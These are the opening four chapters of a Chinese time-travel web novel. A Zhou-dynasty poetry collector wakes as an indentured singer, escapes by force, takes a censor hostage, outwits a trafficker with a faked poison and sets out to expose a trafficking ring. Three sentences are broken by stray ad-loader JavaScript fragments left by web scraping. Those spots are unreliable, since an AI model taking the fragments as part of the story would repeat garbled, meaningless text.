《美弱惨整顿天下》 1. 第 1 章 “啪!” 开始有意识的时候,许妙仪耳边炸起一声清脆的巴掌响,继而她的脸颊火辣辣地灼烧起来。 头脑一片昏沉,她勉力睁开眼睛,发现自己正伏在地上,面前立着一双样式奇特的履。 含着怒意的女声响起,操着一种她从未听过的口音,可她却又莫名能听懂—— “你如今不过是一个卑贱的歌伎,依附着赵府过活,还敢摆谱儿装清高?监察御史金尊玉贵,伺候他可是你天大的福分,别人求都求不来呢!” 许妙仪听得一头雾水。 她明明是正儿八经的大周采诗官,不过睡了一觉,怎么就成了歌伎了?监察御史又是什么? 不待她想明白,那女人又冷笑着开口了:“既然你不识好歹,那就别怪我用些特殊手段了。” 情急之下,许妙仪脱口而出:“且慢!” 话一出口,她就愣住了:自己怎么也成了那奇特的腔调?而且……这似乎这不是她的声音。 “怎么?现在才知道怕?”女人半是得意半是讥讽,“若你早些醒悟,又何必挨这一巴掌……” 许妙仪没理她,连忙从地上爬起来,低头看去。 首先入眼的便是一双白玉柔荑,许妙仪不禁心头一颤,连忙圈了圈自己的手臂和腰肢,最终得出一个惊悚的结论——这不是她的身体! 作为一名采诗官,她需要长途跋涉、翻山越岭,又免不了雨打风吹,日晒雪淋,自是身强体壮,绝非如今这般娇软玲珑。 她为何会在别人的身体里?莫非是有巫祝做法摄了她的灵魂? 很快,她又意识到另一处不对劲——她身上衣裳的形制怎如此奇怪? 她眉头不由得拧得更深,赶忙环顾四周。 这是一间屋宇,一间令她感到十分陌生的屋宇。不光门窗的形制奇特,还陈设着许多她从未见过的器具。 除她以外,屋中还有一个中年女人和两个婆子。三人均着与她款式相同的衣裳,只是颜色、纹样、质地各异。此外,三人发型发饰也十分新奇,尤以中年女人为甚。 许妙仪游历遍海内四方,见识广博,却从未见过或听过这样的文化形态。 这究竟是哪里? 这时,忽然有一些陌生的记忆涌入脑海—— “她”叫李霜儿,今年十六,出身普通商户,是家中备受宠爱的独女。 然而,前不久,她父亲运货时意外死于山贼刀下,母亲因此伤心过度一病不起,最终撒手人寰。 权贵赵家欺她失怙,设法令她破产并欠下巨额债款,逼她沦为奴籍,在赵家做了歌女。她本以为只是普通卖唱,谁知今夜会被当成“礼物”送人…… 生动的画面渐渐消散,取而代之的是一段冰冷的信息:牧野之战……周幽王烽火戏诸侯……春秋争霸战国兼并……秦统一六国……三国鼎立…… 千年历史如云烟过眼,而今,是大梁朝明德十三年。 许妙仪瞳孔骤缩:所以,她现在是在两千年后的另一个人的身体中? 这简直太荒谬了! 她不愿相信,然这段信息中的夏商周部分,与她所知几乎无差…… “你们这些小娘子,就是眼界太窄……”中年女人说教着,忽然意识到许妙仪并未在听她说话,心生不悦,“啧,你发什么呆呢?” 她一面说,一面伸手来推许妙仪。 许妙仪迅速回过神,下意识接住女人的手,同时朝她投去沉沉的目光,道:“夫贼良女使为奴,固非是行,今乃复逼鬻身,岂不过恶哉?” 女人愣了一下,随即眉心皱出一个“川”字,眼神像是见了什么奇怪的东西:“你嘀嘀咕咕的说什么呢?”说罢,她就要抽回手。 见状,许妙仪手上加力,却还是让女人的手溜走了,自己还被带得向前踉跄了一下。她不禁深蹙秀眉,暗道:这幅身子也太羸弱了吧? 女人嗤笑一声,道:“怎么,还想跟我动手啊?” 许妙仪抬头冷冷看向女人,努力学着今人的句式,道:“你如果不明白我所说的道理,我确实略通一些拳脚。” 武功并非全靠力气,只要技巧足够娴熟、反应足够迅速,亦可致胜,比如此刻—— 许妙仪说罢,出脚狠狠扫向女人双腿。 女人始料不及,一下子迎面摔倒在地。许妙仪又迅速抄起一旁的花瓶,用力砸向女人后脑。随着“哐啷”一声,数枚瓷片迸裂开来,女人不再动弹了。 一切只不过是瞬息之间。 “你、你居然敢伤人!真是目无法纪!看我不把你扭送到主君面前去!”一个婆子又惊又怒地喊着,动身朝许妙仪扑来。 许妙仪一个旋身,灵活地绕到了婆子身后,紧接着一个手刀劈向婆子颈后。婆子身形一僵,随即就晕了过去。 另一个婆子见势不好,连忙就要往外跑。 许妙仪拿起一旁的烛台朝她掷去,精准击中了她的后脑,当即便叫她瘫软了下去。 屋室归于宁静,许妙仪揉着太阳穴,深吸一口气,努力平复心情。 虽然目前情况很荒谬,但再抱怨也不能改变什么,倒不如就接受现实。 反正她已经走遍大周河山,采民风革王政,圆满完成了一个采诗官的使命,没什么遗憾和留恋的了。 既来之则安之。 她不缺从头再来的勇气。 既然她已经成为了“李霜儿”,那么她的当务之急就是逃离赵府。 她走到后窗前,正欲推窗,却又顿了一下,折回去搜刮三人身上的值钱物什——人行世上,没盘缠是万万不行的,何况面对的是无恶不作的赵家爪牙,她没有半点心理负担。 随后,她又卸下了自己身上的钗环,与搜刮所得一并收入囊中,这才翻窗而出。 落脚处是一条长廊,临着一湾曲水,水旁奇石嶙峋,绿竹萧萧,更有奇花异草间杂,颇具意趣。 许妙仪翻下长廊,落到草丛中,抬头看向漫天繁星。 李霜儿的记忆告诉她:赵府有两个门,正门专供主子、贵客们出入,有侍卫森严把守;还有个侧门在西边,是给下人用的,通常只有一个嬷嬷值守。 许妙仪很快就找出了北斗星,借此断得方位。虽然不清楚具体路线,但按照大方向走,总是没错的。 她借着夜色与草木的掩映前行,身形迅捷而足音轻微。 行了约莫半刻钟,前方隐约有几点灯火映入眼帘,许妙仪心中一紧,脚下速度放缓。 随着距离拉近,她看见光亮源于一座亭子。亭中相对坐着两个人,似乎正在把酒言欢,亭外守着七八个侍卫。 幸而这片草木一直延伸到门洞附近,只要她足够谨慎,就不会被发现。 蹑手蹑脚地行到近水榭处时,有夜风送来隐隐的交谈声—— “萧御史啊,你可看到了,我赵家为大梁那是鞠躬尽瘁啊!等你回了京华,可一定要替我们美言几句啊!”这是一道雄浑的男声。 许妙仪暗暗翻了个白眼,心道:你赵家在当地横行霸道,只手遮天,哪来的脸说“鞠躬尽瘁”? “这是自然,何劳赵司马交代。”回答的声音泠泠如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 碎玉,谦和中含着微微笑意。 许妙仪撇了撇嘴,暗道:看来这御史也不是什么好东西。 随后响起一阵急急的脚步声,交谈停顿了几息,最后还是萧御史先开了口:“怎么了?” “嗐,也不是什么大事,”赵司马赔笑道,“不过府上一个恶奴伤人出逃了。” 许妙仪心头一跳,没想到他们发现得那么快。 正当此时,脚下忽然响起尖锐的吱吱声。她连忙低头看去,只见一团黑影正在她脚边慌忙挣扎。她愣了一下,抬起脚,那黑影便忙不迭地飞窜而去。 许妙仪唇角微抽:看来是她踩到它的尾巴了。 “谁在那边?!”侍卫的喝声响起,伴随着长剑出鞘的铮然之音。 看着几个侍卫持剑奔来的身影,许妙仪临危不乱,俯身捡起几块石头,用力朝一侧扔去。 侍卫们被这声响吸引,立即转了方向。 接着,许妙仪大步跨上身前大石,借力一点,整个人便飞跃而出,身姿轻盈。 同时,几枚石子从她手中飞出,精准击中亭边几个侍卫的面门。 趁侍卫们纷纷捂脸痛呼的空隙,许妙仪迅速夺过一柄长剑,跃入亭中。白光一扫,长剑从后架上刚迈出两步的青年肩头。 青年颀长挺拔的背影一顿,没再动作,唯有玄衣上的暗纹随灯摇而流光。 与此同时,桌对面的肥胖中年男子逃窜出亭,慌忙躲入匆匆赶来支援的侍卫身后。 赵家家主,青州司马赵启。许妙仪脑中不自觉出现这个认知。 她冷冷盯着赵启,幽幽启唇:“赵司马不想萧御史在贵府出事吧?” 赵启被肥肉挤得狭小的双目倏然圆睁,不可置信道:“李……李霜儿!” “别废话。”许妙仪沉声说着,手上用了一分力,剑刃破开萧韫的肌肤,碾出一线殷红。 “好好好,”赵启神色大变,声音惶恐,“你别激动,你想要什么尽管说就是了。” “赵司马是个聪明人。”许妙仪唇畔勾起一个淡淡的弧度,眼中却没有半分笑意,“拿我的奴契来。” “好。”赵启当即应下,吩咐侍卫去取。 侍卫很快就回来了,捧着用一样东西递给许妙仪。 这东西外观和布帛很像,但质地明显不同,似乎是叫……纸? 许妙仪压下心头的好奇,去看纸上的字。和此前一样,她莫名看懂了这些奇怪的字。确认是她的奴契无误后,她便将其收入袖中。 “现在可以了吧?”赵启问。 许妙仪道:“等我到了安全的地方,自然就会放了他。”说罢,她扫了一眼周边侍卫,“无须汝等相送。” 赵启面露难色。 萧韫平静开口:“无妨,就按她说的做吧。” 赵启这才挥手示意,周遭的侍卫纷纷退下。 许妙仪押着萧韫前行,没走出多远就毫不意外地察觉到——有人暗中尾随。 她没说什么,心中的弦悄然绷紧。 出了西侧门,她又带着萧韫在巷道中七拐八绕,最终躲入一间废弃小院。 “噤声。”她从身后沉声吩咐萧韫。 萧韫点头。 院中槐花正盛,夜风轻拂,伴随着细碎的花瓣如雪飘落,馥郁的花香萦绕而至。 不多时,外间便有脚步声响起,却又很快远去。 许妙仪轻吁一口气,后知后觉背上的衣服已被冷汗浸透。 “这位娘子,现在已经到了安全之地,可以释放某了吗?”萧韫的声音在耳畔响起。 2. 第 2 章 娘子?许妙仪愣了一下,随后才反应过来:娘子,似乎是此地对少女的称呼。 她抬眼看去,萧韫恰好偏头看来。 这是她今夜第一次看清萧韫的脸,不禁呼吸一滞。 不得不承认,那是一张俊美无俦的脸,英气而不粗犷,精致而不女气,每个五官似乎都是照着美的模子雕刻的。若是将其录入诗中,兴许会引起不小的轰动。 但,或许是由于他眸色太过幽深,叫人捉摸不透情绪,他的气质并不像他的语气一般柔和,而是凌厉的、具有侵略性的,迷人而危险。 大概是因为他是个贪赃枉法的奸官吧,许妙仪想。 “娘子?”萧韫又唤了一声。 许妙仪回过神来,连忙垂眸,眼睫微颤如蝶翼翩跹。她清了清嗓子,走到他正对面。再抬眼直视他时,她眼波平静,声线冰冷:“我本来确实只是想拿你当人质,换我平安离去……” “但?”萧韫接过话头,声音很轻,蕴着几分凉薄的笑意。 “但我转念一想,你这等奸官污吏,杀了也好。” 萧韫眸中划过一抹意外,挑眉道:“奸官污吏?娘子怕是对某有些误会吧?” 许妙仪冷笑一声,道:“若非亲耳所闻,我怎会如此笃定?” “亲耳所闻就一定是真的?”萧韫反问。 “休要耍滑!”许妙仪蹙眉低喝,腕上用力,剑锋再度于萧韫脖颈上印出一条红线。 萧韫低低叹了口气,轻声道:“这么说,娘子是不肯放过我了?” “对。”许妙仪语气坚定。 说罢,她眸中杀意毕现,正欲发力割破他的喉咙,却忽觉腕上一疼,握着剑柄的五指便不自觉松了力道,长剑从手中滑落。 下一刻,便见萧韫倾身欲来捞剑。许妙仪大惊,连忙屈膝一顶。她这一下用了十成力,长剑瞬间飞至丈余高空,叫萧韫抓了个空。 许妙仪迅速上前踩住萧韫微曲的膝盖,借力腾起,又在萧韫胸膛上一蹬,整个人仰着向外跃去。 眼见手指即将触碰到剑柄,许妙仪的小腿却被一双手握住,随即一股大力拉着她往下坠。 许妙仪重重地摔倒在地,浑身筋骨欲裂,忍不住倒吸一口凉气。 头顶笼下一片阴影,是萧韫正跃身去接剑。 许妙仪咬牙,一个鲤鱼打挺起身,头恰好顶到萧韫胸膛。她伸手死死环住萧韫的腰,带着他向一侧倒去。 伴随着“哐啷”的长剑落地声,二人狼狈滚落在地,一连滚了好几圈都没能停下,因他们互相抓着对方手臂较劲儿,生怕对方占了上风。 然而许妙仪吃了体力的亏,终究是被萧韫按在了下方。 因双手被擒住,她当机立断屈膝上顶。 萧韫一惊,急忙扭胯。 许妙仪趁此机会,一腿夹住萧韫的腰,猛然将他掀翻在地,自己则顺势跨坐在了他腰上,迅速出手点了他的几个穴位。 萧韫身子一僵,黑眸中波澜乍起。 “有遗言否?”许妙仪睨着他。 萧韫微微喘着气,看向许妙仪的眸光晦暗不明,话语中情绪莫测:“小娘子,你这招数还真是狠毒啊。” “过誉,”许妙仪似笑非笑,“不及公子。” “某得提醒娘子一句,”萧韫轻笑一声,语带几分讥诮,“凡事不要高兴得太早。” 许妙仪蹙眉,下一刻便听得“砰”的一声。扭头看去,只见院门被破开,几个玄衣侍卫正持剑鱼贯而入——并不是赵府侍卫的打扮。 许妙仪心头一跳,来不及多想,恨恨剜了萧韫一眼,匆匆起身并顺手扯下他腰间玉佩,仓促拾起剑,跃身翻过土墙。 刚跑出几步,她便警惕地回头一望,却并未见到人影。她心中狐疑,但仍不敢掉以轻心,一路来到了江畔。 脑中有道声音告诉她:这条江能通向城外。 此时她的身体已经有些吃不消了,肺部连着喉咙一片撕裂般的疼。尽管身后没有追兵,但她仍咬牙跳入江水。 赵家和那御史想必不会善罢甘休,很可能要全城搜捕她。她在此地多留一刻,便多一分危险。 授衣九月,江水寒冷刺骨。 许妙仪在幽冷中费力前行,不知过了多久,手脚都被冻得麻痹了,才终于出了城。 她爬上岸,面色惨白,浑身止不住地打颤。再有萧瑟的秋风一吹,简直要冻碎她的骨头。 但幸运的是,不远处正浮着两点暖黄的光亮,破开漆黑夜色,隐隐勾勒出建筑轮廓。 许妙仪心中一喜,连忙脱掉湿重外套,咬牙朝那屋宇走去。她浑身僵冷,几乎全靠意志力支撑着行进。这是她头一次觉得,一段路竟如此漫长。 眼前光亮逐渐放大,最终化为一左一右的两盏灯笼,映亮正中牌匾上的大字“平安客栈”。 许妙仪扶着门框,竭力叩门,不久便有个老妪来开了门。 “住店……”许妙仪努力想让自己显得不那么虚弱,但她递出银钗的手仍在微微发颤,声音也是有气无力。 验过钗子,老妪便扶着许妙仪进门,一路穿过庭院,路过热闹的大堂,最终上到二楼的一间厢房,又贴心送来干衣与炭火。 换过衣服,烤着暖烘烘的炭火,许妙仪的体温渐渐回升,身心均不自觉放松下来,甚至泛起淡淡的倦意。 忽然,“笃笃笃”的敲门声响起,随后是一道陌生的青年音,语气含笑:“娘子还未歇下吧?某单名泉,姓萧。方才楼下一见,觉得娘子甚是亲切,故而备了酒菜,想邀娘子一叙。” 一提到“萧”,许妙仪便联想到了萧韫,身子骨隐隐作痛,嘴上也就没了好气儿,拒绝得十分利落:“不去!” 萧泉似乎没想到她会这么说,愣了好半晌,才道:“娘子是不是没听清?某姓——萧。”他特意加重了“萧”字的语气,说得格外字正腔圆。 “没听清的恐怕是阁下吧?”许妙仪反唇相讥,一字一顿地重复,“我、说、不、去!” “娘子确定吗?你可知得罪我的后果是什么?”萧泉的语气阴沉了下来。 许妙仪气极反笑:“我确实不知。你萧家究竟是何等门第,子弟一个两个的竟都倨傲至此?” 萧泉冷哼一声,得意洋洋:“我萧家乃大梁的开国功臣,深受今上倚重。如今奉命巡视江南五州的萧御史,就是我表哥!” “难怪一丘之貉。”许妙仪阴阳怪气。 “你!”萧泉气急败坏地叫了起来,“把门给我踹开!” 很快就有“砰砰”的踹门声响起,许妙仪迅速起身退至窗边,正欲推窗,却听身后传来一声轰然巨响。 这么快?这门的质量也太差了吧? 许妙仪有些错愕地扭头看去,可怜摇晃的两扇门板中,三个玄衣侍卫簇拥中一个蓝袍青年走出。这青年身量普通,相貌也普通,但表情却是傲然得很。 萧泉趾高气扬道:“娘子现在反悔还来得及。” 许妙仪本不必与他废话,但她心里有一股郁结之气,不得不抒:“你们享用着百姓供给的荣华富贵,却仗势欺民,简直……非人哉!” 萧泉面色难看,咬牙切齿道:“好,这是你自找的!”说罢,他给身旁侍卫递了个眼色。 下一刻,两个侍卫气势汹汹地朝着许妙仪扑来。 许妙仪明白自己的身体状况,不欲与他们缠斗,当即就要跳窗而出。她的一只脚已经踏上了窗台,却忽听身后有人慌忙大喊:“有刺客!” 许妙仪讶然回头,但见门口处,侍卫们正与一个红衣女子缠斗,刀光剑影中铮然有声;萧泉已没了半分神气,慌忙躲到围椅后。 正当许妙仪疑惑之时,却见那女子隔空对她喊了一句:“还不快走!” 许妙仪心中震惊更甚——竟真的遇见好心人了? 略微思索 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,她从窗台上收回腿,随后疾步走向萧泉。 萧泉背对着许妙仪,正探头观察着“战场”,完全没有意识到危险来临,反而是一个长脸侍卫先注意到了,惊呼一声“郎君小心”,旋即脱身朝许妙仪刺来。 他速度很快,顷刻就越过了围椅,剑光骤然逼至许妙仪眼前。 她敏捷避过,又迅速抓住他的腕子,手上一用力便拆了他的关节,长剑下坠。 接着,她快速用另一只手捞起长剑,反手刺入他的下腹。他哀嚎一声,猛然栽倒,露出身后的萧泉。 萧泉僵在原地,面色惨白。对上许妙仪的目光,他才终于反应过来,尖叫一声,手忙脚乱地转身往远处爬去。 许妙仪顺手抄起一旁的杌子砸去,“砰”的一声闷响,杌子精准击中萧泉颈后。他身形一僵,随即便瘫软了下去。 此时,另一边的打斗声已经止歇,女子利落收剑,跨过地上痛苦呻-吟的侍卫,大步朝许妙仪走来。 她身材高挑,着一袭玄红相间的翻领胡服,头发以木簪挽成一个普通单髻,眉眼英气更甚半数男子。 女子挑眉,眼中流露出几分欣赏之意:“你看着瘦弱,没想到有这般好功夫。” “过誉。”许妙仪弯唇,面露感激,“此番多谢女侠相助。” “客气了,不过举手之劳。”女子说着,嫌恶地看向萧泉,狠狠踹上几脚,“何况,我早看这姓萧的不顺眼了!要不是客栈人多眼杂,我真恨不得杀了他!” 见状,许妙仪心中最后一点疑虑也消失了。 女子发泄了一通,这才道:“是非之地不宜久留。帮人帮到底,你和我一道走吧。” 许妙仪点头:“多谢。” 二人跳窗而出,女子又去马厩牵了自己的马,与许妙仪共乘。 这时候院门已经上了栓,女子毫不客气地劈断门栓,纵马而出。 两侧的墨色树影迅速向后掠去,如鼓蹄声中,女子问:“我叫蓝钰,你叫什么?” 许妙仪不愿暴露真实身份,便道:“你唤我樱儿好了。” “好。”蓝钰应道,又问,“对了,我看你年岁尚轻,为何独身一人,又为何……湿成那样?” 许妙仪随口胡诌:“父母双亡,伯父吞了家产,还逼我给有钱人做妾。我不愿意,就逃出来了。” “居然有这种事!你那伯父可真不是人!”蓝钰语气愤懑。 许妙仪附和般地叹了口气。 “你接下来打算去哪儿?” 许妙仪摇头:“还不知道,随遇而安吧。” 蓝钰默了半晌,道:“我家镖局就开在前方的明泉镇,不如你先去那儿稍作休整?” “镖局?”许妙仪疑惑。 “就是专门护送财物或人的江湖组织。”蓝钰解释。 许妙仪心道:难怪蓝钰武功这么好。 她一时不疑有他,当即应下:“好。” 不久后,二人便抵达明泉镇外。但此时城门紧闭,二人只好在城外就地歇息,一夜无事。 翌日天色蒙亮,城门缓缓开启。 许妙仪没有通行证明“过身”,但值守的官兵懒怠,叫她混在一支商队中进了城。 入城后,蓝钰径直带许妙仪去到“明远”镖局,吩咐人给许妙仪收拾出一间厢房。 许妙仪郑重拱手一拜,道:“娘子的大恩大德,我日后必以涌泉相报。” “你我也算是朋友了,无需客气。”蓝钰谦和道,“一夜辛劳,你且好生歇着吧。若有什么需要,尽管叫人便是。” 送走了蓝钰,许妙仪和衣躺上床,很快便有困意汹涌袭来…… 再度有意识的时候,她感觉身下一片硌硬,鼻头正被一只手揉捏。 很快,头顶响起了妇人兴奋的声音—— “哎哟,这小娘子果然是个雏儿呢!又这样美貌,一定能卖个好价钱!” 3. 第 3 章 许妙仪勉力睁开眼,眼前是一片被烛光映亮的嶙峋石顶。 这是哪里?她不是在蓝家的镖局吗? 上方的交谈声还在继续—— “这已经是这个月的第八个了,照这种势头下去,家主一定会对娘子刮目相看的!”妇人谄媚道,“届时,这少主的位子恐怕就要换人来坐了!” 蓝钰轻笑一声,嗔道:“还用你说?” 听到此处,许妙仪心下猛然一沉——蓝钰居然是个人贩子!她装得也太好了吧?! 她在心里暗骂一声,开始尝试挣扎,却发现四肢被什么东西束缚着。 “哟,樱儿醒了。”蓝钰的讥笑声响起。 随后,许妙仪看见了蓝钰的脸。 蓝钰居高临下地俯视着许妙仪,仍然是英气的五官,只是没了昨夜里的侠气,眸中一片阴寒,唇角的弧度也是冷的。 “你……”许妙仪咬牙切齿,气得语塞。 “我什么?”蓝钰笑意愈深,得意又讥讽,“是不是很意外?” 许妙仪不愿看她耀武扬威,索性闭上了眼。 “你知道吗?我真是好久没见过你这样漂亮的人了。”蓝钰伸手轻轻抚上许妙仪的脸,语气中透着几分疯魔的意味,“届时把你做成听话的奴隶卖出去,我一定能大赚一笔。”说着,她“咯咯”地笑了起来,“你真是我的贵人啊,我一定会给你找个好买家……” 许妙仪不理她。 “其实我挺欣赏你的,你的功夫确实很不错。”蓝钰幽幽叹了口气,语意忽然一转,“可惜你的眼神太正直了,我不喜欢。” 许妙仪深吸一口气,睁眼直视蓝钰,语气出奇平静:“蓝娘子,我劝你还是放了我。” 蓝钰愣了一下,随即笑得前俯后仰,嘲讽道:“樱儿,你是在威胁我吗?” 许妙仪目露讥讽,道:“蓝娘子,和我相处了大半夜,你真的没有察觉出一丝异常吗?” 蓝钰面色陡然一变:“你这话是什么意思?” “也没什么,”许妙仪淡淡道,“不过是暗中给你下了一味奇毒罢了。我当时想着,你若真是好人,我便偷偷把毒给你解了;若是心怀不轨,我便让你给我陪葬。” 蓝钰冷笑一声,道:“你以为我会相信?这些话,你还是说给小孩子听去吧!” 许妙仪一脸无所谓:“不信的话,你可以等着瞧啊。二十四时辰后毒性发作,便会叫你求生不得,求死不能。” 蓝钰面色微微发白。 “娘子,别被她骗了,”一旁的妇人劝道,“还是去问问郎中吧。” 蓝钰仿佛醍醐灌顶,点头赞同:“说得对。” “劝你们别白费功夫了,”许妙仪哂笑,“如果随便哪个郎中都能验出来,怎么叫奇毒呢?” “娘子,她不敢让郎中验,必定是骗人的。”妇人愤愤道。 许妙仪一脸坦然:“随便你们怎么想。” 蓝钰猛然伸手扼住许妙仪的喉咙,沉声道:“你不怕我现在就杀了你吗?” 许妙仪呼吸困难,却咧嘴笑了起来,努力从喉咙中挤出话语:“反正我……烂命一条……死了就……死了……黄泉路上……有你作陪……不亏……” 蓝钰眼中杀意暴涨,收紧双手。 呼吸不畅的每一秒都被无限拉长,许妙仪头脑昏胀一片,意识逐渐模糊…… 倏然,脖颈上的桎梏消失,空气得以重新流入鼻腔。 劫后余生,她大口呼吸的动作显得有几分贪婪。 蓝钰问:“你如何保证,你给的是真的解药?” 许妙仪虚虚笑了一下,道:“你若毒发,必定让手下报复我,那样的话,我终其一生都要东躲西藏,何必呢?倒不如就此扯平。” 蓝钰眯眼,目光沉沉落在许妙仪面上。半晌,她道:“把她放了。” “是。”妇人应声,解开锁住许妙仪四肢的铁铐。 许妙仪坐起身,才发现这是一处洞穴改造成的监牢,而她身下的则是一张石床。 “看够了吗?”耳畔传来蓝钰幽幽的声音。 许妙仪连忙收回目光,道:“我先告诉你半张药方,另外半张要等我到了安全之地。” 蓝钰毫不犹豫地应下:“好。” 二人在这方面倒颇有默契。 许妙仪说了半张方子后,蓝钰便“护送”她出了镖局,又一路来到码头。 喧闹人声中,身后的蓝钰不耐地问:“现在可以说了吗?” 许妙仪转身看着蓝钰,四目相对之间,剑拔弩张的氛围在这一刻达到顶峰。 “可以,娘子听好了,”许妙仪开口,“白芷、乌根……”每说一味,她就往岸边退一步。 蓝钰阴沉地盯着许妙仪,并不动作。 “干藿,这是最后一味了。”说完这句话时,许妙仪距蓝钰已有一丈之遥。 蓝钰声线森冷:“希望你说的是真的。” “你大可放心。” 蓝钰冷笑一声,转身离去。 许妙仪迅速来到售票处,拿银簪换了张船票——幸好蓝钰没收走她身上的财物。 船很快就开了,许妙仪上了船,来到甲板栏杆边,迎着微冷江风,远眺黄昏江景,胸腔内那颗紧绷已久的心脏慢慢放松下来。 其实根本没有所谓“奇毒”,她给的解药药方也只不过是一张普通的养生方。 她之所以敢撒这样的谎,是因为—— 她从妇人和蓝钰寥寥的对话得知,蓝钰十分渴望得到父亲认可,或者说,她渴望坐上所谓“少主”之位。 一般来说,有着这样强烈愿望的人,不会甘心死去,也就不敢轻易拿性命做赌。 在很大程度上,人的心性会决定其选择。 所以从一开始,许妙仪就知道自己一定会赢。 许久后,许妙仪回头看去,明泉镇已成了山水间的一个小点。 她想,她会回来的。 蓝家这样的黑心生意,绝不能久容于世。 * 翌日清晨,船行至阳原。许妙仪见此地山清水秀,临时起意下了船。 其实她并不在意去的地方是哪里,因为在这个时代,无论哪里对她来说都是崭新的,有着无限可能的。 她先拿身上的值钱物什换了钱,接着就开始忙着租房、购置生活器具等。 她适应能力很强,黄昏时分就完成了一切。 忙碌了一天,她心生懒怠,于是来到了一家馆子,学着别人的样子,招呼伙计上菜。 等菜的时候,许妙仪便托着脸思考:她应该做些什么呢?如今已经没有了采诗官的职业…… 这时,外面进来了几个书生样貌的人,愉悦攀谈着在许妙仪的后桌坐下—— “杨兄啊,你这诗写得是真妙啊!届时上呈,必定会得到赏识!还望你日后飞黄腾达了,可不要忘了我们这些苦寒同窗。” “各位言重了!” “哎,杨兄,你教教我们怎么做出好诗呗,我也想走写诗干谒这条路了……” “是啊,写诗干谒可比科考简单多了。” …… 许妙仪大体听明白了:“科考”是如今的入仕途径,而“写诗干谒”则是入仕捷径。只要写的诗歌得到了权贵赏识,就能被推荐入仕。 现在的入仕世情,竟是如此吗? 许妙仪心头莫名腾起一股躁郁之气。 在大周,确实也有不少人通过举荐入仕,但其中大多数人都是有真才实干的,而非只会口头功夫。 再者,诗以抒情,以观察风俗与政治得失,以团结民众情感,以针砭时弊,本应是最纯粹、高尚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的东西,而非谄媚权贵的工具。 那厢,书生们谈论得愈发起兴。 许妙仪忍了又忍,终于还是忍不了了,起身走到后桌前,道:“偶然听得各位谈话,知晓各位都是学识渊博之才。那么,在下有个问题想请教各位。” 众人见了许妙仪,纷纷目露惊艳,争先恐后道:“娘子请说!” “''子曰,小子何莫学夫诗''的下一句是什么?” “这还不简单。''诗,可以兴,可以观,可以群,可以怨,迩之事父,远之事君,多识于鸟兽草木之名''。”书生们摇头晃脑地说来。 许妙仪故作恍然:“原来其中没有''媚上以得捷径入仕''之说,看各位将干谒说得那样理直气壮,我还以为是圣人之训呢。” 书生们这才意识到许妙仪在讽刺他们,面色霎时变得难看起来。 “娘子这话有失偏颇……”其中一人悻悻道。 “偏颇的是你们,把诗歌当做谄媚邀宠的工具。既然如此,就别怪他人看不起你们。”许妙仪道。 “你这小娘子好生无礼!”一个书生愤愤起身,伸手就要来拉许妙仪,“给我们道歉!” 许妙仪眸光一凛,先一步捉住了书生的手,狠狠反扭,另一手则压着他的肩膀,逼得他跪倒在地,口中惨叫连连。 “江兄!”其余人惊呼,连忙起身。 许妙仪冷冷瞥了他们一眼,松开了手。 一人扶住“江兄”,抬眼狠狠瞪着许妙仪,凶狠之中却又有明显的忌惮。他道:“女子无知,我们不与她计较!” 众人纷纷点头赞同,嘀咕着拂袖离去。 许妙仪气极反笑。 当夜,她辗转反侧,做出了一个重大决定:她要做回老本行! 听说当今天子正酝酿新政,她若采诗汇编呈上,让朝廷了解百姓真正的诉求,进而帮助新政制定。这样一来,诗歌地位自然水涨船高,不会再是媚上工具。 更甚者,或许还能光复采诗之统呢! 至于资金,她没什么骄奢淫逸的爱好,赵家财物和萧韫的玉佩换得的钱,够她生活一阵子了。 许妙仪是个执行力很强的人,翌日一大早,她就带着纸笔走上了街头。 经过十数日的走访,她收录了长短、格式不一的十二首民歌,其中有劳动号子,有情歌,有益智童谣,有哀情小调…… 从这些民歌中,许妙仪不可避免地注意到一件事——此地常有人口失踪。 比如有首童谣唱:“天儿黑,夜儿静,恶鬼索命不留情……” 这“恶鬼”指的就是人拐子。 也有思妇唱:“忆我不归郎,泪下沾衣裳……” 一打听,原来当地有许多男人外出做工,却就此失联,其中许多人去的正是明泉。 这很难不令她联想到蓝家的“生意”。 脑中闪过数张妇人憔悴哀伤的脸,幽怨的曲调似乎又萦绕耳侧,许妙仪无比直观地感知到,人贩子给万千家庭带来的伤害。 可当地官府不作为,能怎么办呢? 经过一天一夜的思量,许妙仪决定提前回明泉。 翌日一早,她按照记忆中楚地术士教给她的方子,去医馆买了些药材,回家熬制成一锅紫色的药水。 她剃掉眉毛,又把药水涂抹到脸上。那药水竟神奇地渗入了皮肤,乍一看就像天生的胎记,从左眉蔓延到右脸颊,占据了大半张脸。 这下别说是美貌了,不吓人就不错了。 随后,她换上一身男式打扮,收拾好行囊,动身启程。 一日后,她抵达明泉,直奔明远镖局。 远远的,她就看见镖局门口站着一个玄衣青年。 似乎是听见声音,青年转过头来,露出一张熟悉的脸。 许妙仪瞳孔骤缩——萧韫! 4. 第 4 章 虽然他面上多了胡须,但其五官之优越出挑,还是叫人能一眼认出来。 许妙仪的目光下移,落到他衣裳上——这衣裳款式简单,布料普通,与他那晚所着天差地别。 许妙仪不禁狐疑地蹙起眉:他来做什么?还打扮成这幅样子?无论买镖还是买奴隶,似乎都不需要他亲自出面…… 与此同时,萧韫看向许妙仪的眼神平静无澜,很快就又收了回去。 许妙仪快速敛起情绪,垂眸低首,若无其事般地继续前行,很快就来到了镖局门外。 门外有几级石阶,萧韫就立在阶前。 出于对萧韫的嫌恶,许妙仪故意不走台阶,直接从石阶侧方跨上去了。 她正准备伸手敲门,却听得“吱呀”一声,镖局大门从里面打开,一个身如小山的玄衣汉子走了出来。 壮汉打量萧许二人片刻,问:“你二位买镖吗?” “我是来应聘镖师的。”二人异口同声。 说罢,二人又不约而同地目露惊讶,侧头看了对方一眼。 许妙仪心中疑虑更甚:萧韫好端端放着御史不做,为何来应聘镖师? 她是为了借此打入蓝家内部,记录并揭露他们的丑恶罪行。 他莫非…… “听你的口音,似乎不像这边的人啊。”壮汉的声音响起,语气中满是疑虑。 许妙仪回过神来,见壮汉正蹙眉打量着萧韫。 “在下向玉,本是燕州人,因家道中落,才迁居此地。”萧韫从容答道。 